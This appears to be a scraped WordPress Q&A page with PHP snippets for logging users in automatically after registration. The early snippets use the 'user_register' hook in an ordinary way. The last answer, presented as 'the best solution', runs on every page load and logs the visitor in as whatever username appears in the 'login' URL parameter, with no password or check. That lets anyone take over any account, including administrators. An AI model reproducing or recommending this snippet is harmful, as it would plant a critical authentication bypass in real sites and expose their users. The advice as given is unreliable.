Autologin user after registration Wordpress
Add below function to functions.php
file
function auto_login_new_user( $user_id ) { wp_set_current_user($user_id); wp_set_auth_cookie($user_id); // You can change home_url() to the specific URL,such as //wp_redirect( 'http://www.wpcoke.com' ); wp_redirect( home_url() ); exit; } add_action( 'user_register', 'auto_login_new_user' );
If you are using wp_insert_user();
to register your users then to auto-login them it's simple.This function returns the user ID if success, so use it to login that user.
$id = wp_insert_user($data);//so if the return is not an wp error object then continue with loginif(!is_wp_error($id)){ wp_set_current_user($id); // set the current wp user wp_set_auth_cookie($id); // start the cookie for the current registered user}
but to follow what you have already it can be like this:
add_action( 'user_register', 'auto_login_user' );function auto_login_user($user_id) { wp_set_current_user($user_id); // set the current wp user wp_set_auth_cookie($user_id); // start the cookie for the current registered user}//this code is a bit tricky, if you are admin and you want to create a user then your admin session will be replaced with the new user you created :)
function auto_login() { $getuserdata=get_user_by('login',$_GET['login']); $tuserid=$getuserdata->ID; $user_id = $tuserid; $user = get_user_by( 'id', $user_id ); if( $user ) { wp_set_current_user( $user_id, $user->user_login ); wp_set_auth_cookie( $user_id ); do_action( 'wp_login', $user->user_login ); } } add_action('init', 'auto_login');
i had have the same problem as your and found this best solution. try this in your functions.php file. and one thing more use submit your reset form in a function in functions.php file